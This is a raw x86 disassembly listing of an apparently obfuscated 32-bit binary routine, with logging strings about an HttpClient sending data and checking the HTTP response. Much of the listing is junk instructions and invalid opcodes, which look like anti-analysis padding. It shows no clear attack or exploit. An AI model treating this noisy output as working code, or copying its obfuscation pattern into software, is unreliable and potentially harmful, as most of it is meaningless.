mov al, byte [0xc4ad621f]
push esp
adc al, 0x8e
sub eax, 0x94fb8ce
mov ebp, 0x47fe7333
in eax, 0xe8
movsd dword es:[edi], dword [esi]
xchg edi, eax
sub bl, bh
jge 0x100a3be5
js 0x100a3bcc
adc dl, byte [edi - 0x287dc6f2]
push ebx
in eax, 0x32
pop ss
lea esp, [edx - 0x3b]
inc esi
dec ebx
dec ebp
jg 0x100a3b8a
pop ds
jb 0x100a3bfd
xchg esp, eax
push ebp
sub byte [ebp - 0x2ae36ced], bl
call 0xe10370d
in al, 0x70
stc
ja 0x100a3be9
aad 0x34
shl eax, 1
xor al, 0xd1
loopne 0x100a3c1c
add al, 0xc5
daa
lds esp, [edi]
cmp al, 0x19
mov byte [esi + 0x5e], bl
rol byte [ecx + 0x14], 0x24
and al, byte [ebx + 0x2ff86321]
loopne 0x100a3c71
cmp eax, 0x1f94f2ec
sti
fisub word [ebx + ebx]
sal byte [eax + ebx + 0x68606302], 0x55
jbe 0x100a3ca9
xor bl, byte [ebx - 0x74]
pop ds
jns 0x100a3bf5
rol byte [ecx - 0x74], cl
push ecx
nop
cld
mov ecx, 0xcbefd841
out dx, al
aad 0x87
mov al, 0x42
dec ebp
sub edx, esp
inc ebp
outsd dx, dword [esi]
arpl word [edi + 0x3ef09de1], dx
dec dword [ebx + 0x4577767]
mov esp, 0x9bdf25f6
dec esp
sar bh, cl
js 0x100a3c13
mov dword [0x3ab4cf5c], eax
lodsb al, byte [esi]
add eax, 0x925bcfcc
andps xmm1, xmmword [esi + 0x1f]
in al, 0x26
push ss
nop
pop ecx
and al, 0x84
rcl dword [edx - 0x48c6910e]
xchg edx, eax
xchg edi, eax
cwde
inc edx
mov bl, 0x7e
dec ecx
pop esp
iretd
popfd
push dword [ecx + 0x10]
push ebx
call fcn.1005e4cc
push ebx
test eax, eax
push 1
lea ecx, [ebp - 0x180c]
setne byte [ebp - 0x180d]
mov byte [ebp - 4], 3
call fcn.10002a9a
cmp byte [ebp - 0x180d], bl
invalid
xchg ebp, eax
test ebx, esi
out 0xff, eax
inc esi
inc ebp
cld
add ebp, eax
loop 0x100a3ca3
cmc
invalid
pushfd
test byte [0x100a3d54], 0x28
je 0x100a3d55
mov dword [eax], eax
add byte [eax], al
test al, 0x19
dec ebp
inc esp
pushfd
pop eax
pop ebp
dec esp
sub ebp, eax
xor al, 0x73
fnstenv ds:[ebx]
das
fistp dword [esi - 0x6d]
rcr dword [ecx + 0xf], 0xfa
aaa
adc dword [esi - 0x37], 0xffffffeb
jnp 0x100a3cc8
nop
int1
mov al, 0x2d
sbb al, 0x68
sub esp, edi
test al, 0x32
insb byte es:[edi], dx
push edx
int 0x2c
sbb ah, dh
sbb byte [eax], cl
mov ah, 0x4c
sbb ah, bh
sub eax, 0x44f5caf0
jecxz 0x100a3d10
xor dword [ebp - 0x61b0f0b1], 5
pushal
ror byte [ecx - 0x67ef995c], 0x44
adc ah, bl
outsb dx, byte [esi]
arpl bp, bx
push 0x98a75786
adc al, 0x69
test eax, 0x16cc0257
sub dl, al
jge 0x100a3cbe
mov dword [esi + 0x10449810], esp
fsubr qword [esi + 0x63]
invalid
push ecx
xor dl, bl
lodsb al, byte [esi]
sti
rcr ecx, cl
movsd dword es:[edi], dword [esi]
adc dword [edx], esi
mov dl, 0x9c
and esi, dword [ebp - 0x7df5aac4]
inc dword [esi + 0x1842a658]
outsb dx, byte [esi]
xor dword [eax + 0x44], esi
mov dh, 0x82
jne 0x100a3d35
fdivr qword [edi - 0x607848ec]
mov bh, 0x44
inc ecx
popfd
jne 0x100a452b
mov eax, dword [ebp - 0x1818]
sub dword [ebp - 0x1814], eax
push ebx
push 1
lea ecx, [ebp - 0x17b8]
mov byte [ebp - 4], 2
call fcn.10002a9a
pushfd
test byte [0x100a3d8c], 0xcd
jne 0x100a3e8d
jno 0x100a3d96
jo 0x100a3db4
aam 0x5a
cmc
dec esi
push 0x9eecde27
lahf
push esi
add esi, dword [edx]
mov cl, 0x72
mov word [edi + 0x40], es
mov byte [ebx], al
and bl, byte [ebx]
arpl word [esi], dx
pop ss
cwde
and ebx, esp
xor al, byte [edx - 0x2b]
adc esi, dword fs:[esi - 0x8c0afbd]
push esi
les edx, [eax + 0x19e0343f]
dec ebp
mov bl, 0x76
fadd st(1), st(0)
mov ecx, edx
xchg ecx, eax
push esp
and ebx, dword [eax]
nop
aas
xor al, 0xe0
sbb dword [ebp - 0x4d], ecx
jbe 0x100a3d99
ror dword [ecx + 0x235491d1], 0x18
nop
inc ebp
sbb bh, dh
xor bl, byte [eax]
outsd dx, dword [esi]
push ecx
mov dword [edi + 0x473bee66], 0xcab46763
std
xor esp, dword [edi - 0x30e4f5a9]
mov ecx, 0x7c8f36a6
cmp esp, dword [edx + edx*4 - 0x19cdafb]
cmp eax, 0x332a674a
and eax, 0x5156cfaa
pop edx
jle 0x100a3dfb
dec bl
cmp esp, edx
sbb ebx, dword [esi - 0x56ff2967]
mov dword [ebp + 0x26b33f53], edi
sahf
cdq
salc
add byte [ecx + 0x3f53bd89], ch
mov bl, 0x26
out 0xda, al
lodsd eax, dword [esi]
aas
sub dh, byte [ecx + 0xe]
push es
cmc
cmp al, 0x8d
dec ebp
mov cl, 0x65
xor al, 0x78
mov edi, 0x9f3f3b3f
outsb dx, byte [esi]
lahf
dec eax
fcom dword [edi - 0x5cc1c1c6]
mov ah, 0xa5
mov bh, 0x23
mov edx, 0x2ba62b9a
aam 0x58
dec ebp
popal
mov bl, 0xd3
jbe 0x100a3e4e
sti
call eax
mov bl, 0x14
push 0xe5ce8420
xor esp, dword [0xc7fe9a79]
sal byte [ebx - 0x7bdf97ec], 1
into
in eax, 0x33
and eax, 0xc7fe9a79
invalid
jb 0x100a3e46
sub dword [edi + 0x1a], edx
xchg esp, eax
into
outsb dx, byte [esi]
jbe 0x100a3e5d
xchg esp, eax
inc ebx
dec ebx
pop ds
push ds
rol edx, 1
mov ebp, 0x4ca8532
mul word [esi - 0x51d71f96]
add al, 0x66
mul dword [esi - 0x51d71f96]
lodsb al, byte [esi]
dec esp
inc ebp
js 0x100a3ed9
add eax, 0x2137abb0
xchg esp, eax
int3
popfd
cmp dword [ebp - 0x1814], ebx
jg 0x100a30fd
mov eax, dword [ebp - 0x181c]
pushfd
test byte [0x100a3f2f], 0x4b
jne 0x100a3f30
and eax, 0xa5e9fa4e
in al, 0x48
fnstsw word [edx]
jle 0x100a3e39
mov ecx, 0x26c66e40
mov ebx, 0x6d8941f8
mov ebx, 0x6d8941f8
insb byte es:[edi], dx
leave
aaa
inc esp
js 0x100a3f08
xchg edi, eax
cmp ah, byte [edx + 0x1e]
dec eax
into
mov bh, 0x3d
movsb byte es:[edi], byte [esi]
xor al, 0xbc
sbb eax, 0xa70e27b9
push ss
shr dword [esi], 0x83
cwde
cdq
test dl, cl
cld
push ds
xchg ebx, eax
push 0x425ca4dd
mov ah, 0x64
cmp esp, dword [esi - 0x865046b]
mov eax, dword [0xc824bea3]
sbb ebp, dword [edx + 0x13b17d29]
and eax, 0xf71c4580
imul esp, dword [esi + 0x7a], 0x70
clc
ror dword [esi + 0x5ec523c7], 0xc3
imul eax, ecx, 0xffffffbb
stosb byte es:[edi], al
lodsd eax, dword [esi]
aaa
mov bl, 0xe
movsb byte es:[edi], byte [esi]
imul esp, dword [edx + 0x31], 0x77585d83
and bl, byte [edx]
fcomp qword [edx - 0x80]
sub bh, bl
mov dword [0x33eb2737], eax
loop 0x100a3f47
mov es, edi
and eax, ebp
pop esi
ret
aad 0xf5
js 0x100a3ebd
popfd
mov dword [eax], edi
mov byte [ebp - 0x180d], 1
jmp 0x100a4692
push str.HttpClient::SendData:m_HttpClient.SendHttpRequest_return_false
push ebx
push ebx
test byte [eax + 0x53531014], al
pushfd
test byte [0x100a3f5a], 0xd7
jne 0x100a3f5b
mov eax, 0x6755061a
sbb bl, dl
dec ebp
std
push ss
cmc
popfd
call fcn.10049c0c
add esp, 0xc
push ebx
push 1
lea ecx, [ebp - 0x17b8]
call fcn.10002a9a
push ebx
push 1
pushfd
test byte [0x100a4031], 0x3b
jne 0x100a4032
add byte [eax], al
mov eax, dword [0xbba86e89]
cmp dh, byte [eax + 0x5b9e07b8]
xchg edi, eax
aaa
mov ebp, 0x71d89b9d
das
test eax, 0xfefc0b9d
adc al, 0xc4
jo 0x100a3fea
jno 0x100a3f81
sub eax, 0x3a64065
inc ebx
mov ebx, 0x23d4929f
jbe 0x100a3f40
add edi, dword [ebp + 0x41e5a5e7]
stosb byte es:[edi], al
into
sbb al, 0x9c
dec ebp
out dx, eax
jg 0x100a3fd3
cwde
insb byte es:[edi], dx
popfd
push ebp
lahf
cmc
insb byte es:[edi], dx
sbb ebp, dword [ebx - 0x4e]
in eax, 0x9a
lodsb al, byte [esi]
test byte [eax], cl
push ebx
or edx, edx
scasb al, byte es:[edi]
mov esi, 0xea40a7b2
sbb eax, 0xfb8960b8
in al, dx
jne 0x100a402d
jae 0x100a404a
popal
push eax
inc ebx
cmp ebp, dword [eax + 0x72]
dec ecx
aad 0x19
jle 0x100a3ff7
sbb dword [esi + 0xa], edi
xlatb
mov ds, word [edi + edi - 0x3fb1677a]
salc
inc ebx
loopne 0x100a3fdd
jo 0x100a3fca
xor eax, 0xa2b3416a
push 0x41
mov bl, 0xa2
mov ebx, 0x3f1f116a
push 0xf4ff5d11
cli
imul eax, dword fs:[ecx + 0xec29715], 0xffffffd0
xor ah, byte [edi]
pushal
jae 0x100a407f
dec ecx
xchg ebx, eax
jne 0x100a4051
daa
sub byte [ecx - 0x3d], al
enter 0x1005, 0xffffffffffffffdf
dec esi
or dl, byte [ebx - 0x26f380b5]
push 0xdd87c77e
jle 0x100a3ff6
xchg ebp, ebx
push edi
popfd
lea ecx, [ebp - 0x179c]
call fcn.10002a9a
push ebx
push 1
pushfd
test byte [0x100a405a], 0xcd
jne 0x100a415b
test dword [ecx + eax], ecx
add byte [eax], al
xor dword [esi], esp
imul ebp, dword [ebp + 0x64], 0xfe8ca157
rol dword [edx + ebx*4 - 0x58289b01], 1
adc ah, al
push edi
mov eax, dword [0x84d1fe8c]
lcall 0x1226, 0xa7d764ff
loopne 0x100a40a8
inc ebp
cdq
mov bh, 1
pop edi
cmp dword [eax], edi
loopne 0x100a3ffc
jnp 0x100a4054
lodsd eax, dword [esi]
sub ebx, edi
add edi, dword [0x18219a01]
and al, 0x2b
push edi
inc edi
sub edx, dword [edi + 0x47]
salc
mov eax, 0x589692d6
pop eax
mov esp, dword [edi - 0x4c]
add byte [edx], bh
mov ah, 0x38
xchg esi, eax
xchg edx, eax
lahf
mov esp, 0x1154b1d6
je 0x100a4077
xlatb
add eax, 0x6201c271
les esi, [edx]
pop ebp
cmp al, byte [ecx + 0x5a]
outsb dx, byte [esi]
int 0x31
xchg esi, esp
invalid
mov dword [ebp + 0x25], 0xcf65fb06
and eax, dword [edi]
salc
stosd dword es:[edi], eax
dec edx
pop ds
dec eax
mov esi, 0xb87c5449
ja 0x100a412f
mov cl, byte [edi + eax + 0x78]
xor ecx, ebp
or dword [ecx + 0x36985d1b], ebp
test eax, 0x36985d1b
out 0xba, eax
mov bh, 0xa0
sti
sbb eax, 0xc76d9b60
mov edx, 0x13eb6f44
dec ebx
sub esp, edi
xchg esp, eax
mov dh, 0xe9
jbe 0x100a4062
rcl byte [ecx + 0x2f817b60]
sal byte [ebx + 0x4c], 1
fdivr qword [eax - 0x47ef0dcb]
sbb dword [esi], edi
jge 0x100a40b1
shl byte [ebx], cl
cmp byte gs:[ecx + 9], ah
and eax, 0x4cdf98e7
add dword [edx + 0x26a1d29a], eax
aam 0xd
adc dword [ebx + 0xd0f3a36], ebx
fisubr word [eax + 0x676d766]
mov al, ah
leave
mov esi, cs
or dword [esp + ebp*4 - 0x76], esi
std
push ecx
xchg byte [ebx + 0x202d8379], dh
sbb al, 0xa2
push esp
jno 0x100a40c4
mov byte [0x949a7154], al
xchg esp, eax
mov bl, byte [0x53494ebf]
dec ecx
push ebx
cmp eax, 0x8e526aad
bound ebx, qword [ecx - 0x5a]
or edi, dword es:[ecx - 0x3cf7ab52]
inc esi
outsd dx, dword [esi]
sub dl, byte [ebx + 0x52d9faff]
rcr byte [ebx + 0x4c], 0x4b
dec ebx
xor esp, dword [ebx - 0x32ff72ce]
mov dword [ecx + 0x8a75e9f], ebp
mov cl, 0x6e
popfd
lea ecx, [ebp - 0x17f0]
call fcn.10002a9a
pushfd
test byte [0x100a41f4], 0xe6
jne 0x100a41f5
aaa
js 0x100a4126
inc byte [eax]
pop eax
sahf
inc ebx
inc ebx
push ebx
inc ebp
push esi
insb byte es:[edi], dx
push ss
xchg esi, eax
add esp, dword [esp + esi*4]
fcmovb st(0), st(3)
dec ebx
sar byte [ebp + 0x24631dc], cl
mul dword [esi - 0x78f5f586]
adc eax, 0xf91e7b78
or cl, byte [edx]
xchg dword [0xf91e7b78], edx
cmc
bound ebx, qword [edx - 0x764baab6]
jns 0x100a414b
cmpsb byte [esi], byte es:[edi]
cmpsd dword [esi], dword es:[edi]
salc
push es
imul edi, dword [esi], 0x8c0332b2
out 0x1e, eax
sbb edi, dword [ebp + 0x53]
cli
mov dh, dh
ror dword [esi + edx + 0x65d72679], 0xf5
xlatb
cmc
jae 0x100a4238
jecxz 0x100a41f4
pushal
sub edx, dword [esp + edi*2 + 0x53]
jnp 0x100a4193
add ecx, esp
jl 0x100a41bb
inc ecx
stc
add dword [esi], 0x544f9afd
add ebx, ecx
xchg ebp, eax
mov eax, 0xc86da82b
lea ecx, [edx]
cmp edi, esi
pop eax
fld dword [ebp - 0x5f]
mov cl, 0x8a
ficom word [eax + ebx + 0x6fedeb45]
mov bl, dh
xchg esp, eax
sbb byte [ebp - 0x15], al
in eax, dx
outsd dx, dword [esi]
in eax, 0x33
add ch, bh
jo 0x100a41e6
int1
popfd
xor al, al
mov ecx, dword [ebp - 0xc]
pushfd
test byte [0x100a423e], 0x6e
jne 0x100a423f
dec ebx
cmp bh, bl
jo 0x100a41ec
push ds
push ebp
push ds
in al, dx
aaa
dec esi
jne 0x100a41c2
fstp dword [eax - 0x48]
jb 0x100a41ae
mov al, byte [0xdac5df4e]
lodsd eax, dword [esi]
pop esi
popfd
push esi
in al, dx
jae 0x100a4270
aas
movsd dword es:[edi], dword [esi]
add eax, 0x62e6547f
out 0x62, al
add al, 0x9d
mov byte [eax + 0x586d195a], bl
dec esp
sub ecx, dword [eax + 0x38]
leave
mov ah, 0xac
jo 0x100a4229
xchg byte [ecx], bh
cli
popfd
mov dword fs:[0], ecx
pop ecx
pop edi
pushfd
test byte [0x100a42ab], 0x8f
jne 0x100a42ac
mov edi, 0xc75bc5a
mov bh, 0x97
xchg edi, eax
dec esp
jle 0x100a4221
movsd dword es:[edi], dword [esi]
sbb al, 0x9b
in eax, dx
pop eax
jno 0x100a4259
push eax
sbb byte [ecx + 3], bl
push edi
adc dword [ebx + 0x4e], ebx
test dword [ebx + 0x6bf977c8], eax
cmp esp, dword [ebp + 0x3d]
jno 0x100a42f4
stc
imul edi, dword [ebx], 0x65
cmp eax, 0xe41e7d71
mov ebp, 0x608beffd
in al, dx
push ds
in al, 0xbd
std
out dx, eax
mov esp, dword [eax - 0x14]
xchg dword [eax - 0x29ee9172], esi
and al, 0x6f
adc byte [edi], dl
sbb al, 0xce
jne 0x100a4285
fdiv qword [ebx + 0x25]
cli
pop es
xor al, 0xaa
push esi
push edi
mov ecx, 0x343f0c56
shr dword [edi], 1
call dword [ebx + 0x6b]
and byte [esi + esi - 0x64858e38], cl
xchg ebx, eax
inc edx
aad 0x69
popfd
popfd
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
pushfd
test byte [0x100a42d4], 0x9f
jne 0x100a43d5
adc eax, 0xcfe94398
dec ebp
inc ebx
nop
arpl word [ebp + 0x2d3e24b6], dx
dec esi
mov dword [ecx + 0x7a11663], ebp
cmpsd dword [esi], dword es:[edi]
pop ecx
rol byte [edx], 1
pushal
pop edi
lodsd eax, dword [esi]
int3
out dx, eax
aad 0x14
mov dword [0xcc9e685b], eax
popfd
js 0x100a4311
enter 0x7ab3, 0x49
mov bl, 0x7a
dec ecx
mov esi, 0xf4fba2d8
pop ss
mov ah, 0x33
test al, 0xf9
inc ebp
push 0xb2059f40
cdq
out 0x19, eax
nop
inc esi
inc edx
nop
dec edi
xor cl, bh
mov esp, 0x1d87f5f3
or al, 0x23
add byte [ecx + 0x2d72476e], bh
jb 0x100a434b
mov ebx, 0x5e0ae59d
sub al, 0x59
insb byte es:[edi], dx
xchg ebp, eax
jge 0x100a43a0
jbe 0x100a431c
test byte [ecx], ch
loopne 0x100a42e7
jge 0x100a4354
jne 0x100a4379
insd dword es:[edi], dx
mov ah, 0x38
aas
pop eax
cld
push 0x677f1907
push edx
or eax, 0x63984007
sbb bh, ah
inc edx
call 0x9f1909dc
rol dword [edi + 0x794cf9fc], 1
jg 0x100a42da
invalid
sbb edi, dword [edi - 0x46]
leave
inc ebx
rcr dword [ebx + edi*2 - 0x1a], cl
out 0xee, al
sub al, 0xc6
xchg esp, eax
lodsb al, byte [esi]
sal dword [edi + 0x8ff17ea], 0x51
not byte [eax]
dec ecx
mov dh, 0xfe
dec edi
rol byte [ebx + 0x1a], 0xdc
sbb ecx, dword [edx]
fidiv dword [ecx]
cmp eax, 0xc4e4912a
xor dword [0xc4e4912a], edi
and dh, byte [edi + esi*2 + 0x66]
or al, 0x3d
int 0x84
add ah, byte [eax - 0x16]
or eax, 0x6b4eb257
cmp eax, 0xf5fcdf7
pop eax
adc dh, byte ds:[0xc26910a4]
scasd eax, dword es:[edi]
aam 0x59
test dword [edi + 0x11390e02], edx
xchg edi, eax
add cl, byte [esi]
cmp dword [ecx], edx
pop ss
in al, dx
mov ah, 0x46
inc esi
insd dword es:[edi], dx
cld
jae 0x100a436f
push esp
sub al, 0x44
xchg dword [eax + eax - 0x49], edi
inc eax
or ch, ah
cdq
or bh, bh
adc dl, byte [edx]
pop ebx
and dword [edx - 8], edx
jbe 0x100a442a
fsub dword [edi - 0x2a90b4f8]
mov al, 0xec
dec edx
out 0x9b, eax
wait
sub al, byte [esi + 0x53]
aaa
aad 0x22
pop esp
popfd
call fcn.1011e48a
pushfd
test byte [0x100a4482], 0x6d
jne 0x100a4483
stc
jne 0x100a4458
jns 0x100a444f
pushfd
outsb dx, byte [esi]
and al, 0x3f
sbb eax, 0x1c15e559
ja 0x100a4478
std
fst dword [eax]
js 0x100a4436
test byte [ecx - 0x350634eb], 0xa8
jecxz 0x100a4453
inc esi
pop esi
xchg edi, eax
scasd eax, dword es:[edi]
add dword [ecx + 0x7c381f08], ecx
mov bh, 0xaa
xlatb
sbb dl, byte [eax + 0x5f]
add edi, dword [esp + eax*4 - 0x4a]
scasb al, byte es:[edi]
mov dh, 0xae
push esi
scasd eax, dword es:[di]
push 0x7ac21811
cwde
push cs
sub al, 0x96
mov ah, 0xd4
cdq
dec edi
push 0x50
xor esp, ebx
pop edx
pushfd
pop esp
sub ah, byte [eax + ebx*4]
push ss
aad 0xa7
jno 0x100a43cd
aas
xchg ecx, eax
adc dword [ecx + 0x51b2de3b], edi
xor eax, 0xf9f085e
mov bh, 5
add eax, 0xb02eff06
adc ch, byte [ebx - 0x6ee33cf8]
mov al, 0x12
stosd dword es:[edi], eax
or bl, al
sbb al, 0x91
ret
cld
and byte [ecx], al
jg 0x100a441a
add dword [edi - 0x41], edi
jecxz 0x100a43ea
shl esi, 1
lodsb al, byte [esi]
mov dword [0x1e45f69f], eax
sub al, 0xa0
mov esp, 0x73b6681d
mov ecx, 0xe5173477
xchg ebp, eax
xchg esp, eax
inc eax
cmpsb byte [esi], byte es:[edi]
dec ecx
add edi, dword [ecx - 0x78]
rcr dword [esi - 0x55fcec9c], cl
mov bl, dl
sahf
adc eax, dword fs:[ebx]
stosb byte es:[edi], al
xor al, 0x6a
push ebp
das
popfd
leave
ret 0xc
push str.HttpClient::SendData:m_HttpClient.GetResponseStatusCode__HTTP_RESPONSEOK
push ebx
push ebx
call fcn.10049c0c
add esp, 0xc
pushfd
test byte [0x100a4556], 0x11
jne 0x100a4557
in eax, 0x18
shl byte [0xe965067], cl
out dx, eax
idiv byte [ecx]
jecxz 0x100a4585
aad 0x9e
in eax, dx
xchg byte [ecx - 0x6d], ah
popfd
push ebx
push 1
lea ecx, [ebp - 0x17b8]
pushfd
test byte [0x100a458c], 0xf9
jne 0x100a458d
xchg dword es:[edi + 0x37e292d2], esi
mov ebp, 0x8f1c5756
jb 0x100a45bc
push cs
add byte [esi - 0x26], bh
mov edi, 0xdfa8e254
fidivr dword [edi - 0x20571dac]
aad 0xfc
adc cl, 0x68
aam 0x1e
shr dword [eax - 0x2c], 1
push ds
or edi, eax
add dword [edx], ecx
popfd
call fcn.10002a9a
mov byte [ebp - 0x180d], bl
pushfd
test byte [0x100a4690], 0x5f
jne 0x100a4691
ljmp 0x94be:0x85000000
test dword [esi + 0x1e250894], edi
aas
dec ebp
jno 0x100a461c
sbb esp, dword [esi]
push esi
sub al, 0xd6
cmp al, 0xfb
mov bl, 0xe8
cmp al, 0x32
mov edi, 0xbd66ad8
xor bh, byte [edi + 0xbd66ad8]
or al, 0xda
jecxz 0x100a45db
pushal
xchg ebp, eax
outsd dx, dword [esi]
lodsb al, byte [esi]
in eax, 0x32
int 0xe7
pop eax
sub dword es:[ebp - 0x769b09a0], 0x68bec4b9
jne 0x100a4659
jge 0x100a45dd
add byte [ebx], dl
cmp eax, 0x7d1079fc
adc edi, dword [0x7d1079fc]
jge 0x100a457c
jno 0x100a4616
dec eax
mov ebx, 0xa22b5cc9
cld
loopne 0x100a45a3
inc ebx
nop
popal
push ebx
push ebp
mov dword [ecx - 0x545b0ef9], ecx
mov eax, 0x87e4e745
dec ebx
aam 0xfb
mov edx, 0x37c47035
mov ch, 0x56
outsb dx, byte [esi]
sub bl, byte [eax]
add eax, 0x8d612788
pop ds
mov eax, 0x2ae4bd8d
in al, 0x2a
mov esi, 0x96d88cf1
xchg esi, eax
pop es
adc edi, esp
dec esi
stosd dword es:[edi], eax
neg dword [eax]
aam 0xb8
inc ebx
cdq
dec eax
push esi
leave
dec edx
and al, 0xe5
pop esp
adc ch, byte [ebx]
sbb cl, byte [ebx + 0x484e8279]
call 0xaf5d254e
das
push 0x6f092a68
into
sub byte [ecx], dh
sub eax, 0xf5badc6e
pop esp
out 0x5e, al
cmpsd dword ss:[esi], dword es:[edi]
adc eax, 0x264e6d94
scasd eax, dword es:[edi]
push edi
add dword [ebx], ebx
lds esp, [edi]
add al, 0x5d
mov eax, dword [0x6b521477]
inc edx
pop es
sbb ecx, dword [0x4a0ff592]
into
xchg ebp, eax
mov dword [edi + 0x5985ec76], esp
pop esp
pop ds
push eax
test eax, 0x41f28f29
in eax, 0x75
pop ebx
pop ebp
sahf
cld
adc byte [edx - 0x32778e08], 1
jg 0x100a46c6
mov edi, 0x7d98e148
popfd
push ebx
push 1
lea ecx, [ebp - 0x179c]
call fcn.10002a9a
push ebx
push 1
lea ecx, [ebp - 0x17f0]
call fcn.10002a9a
mov al, byte [ebp - 0x180d]
jmp 0x100a41f8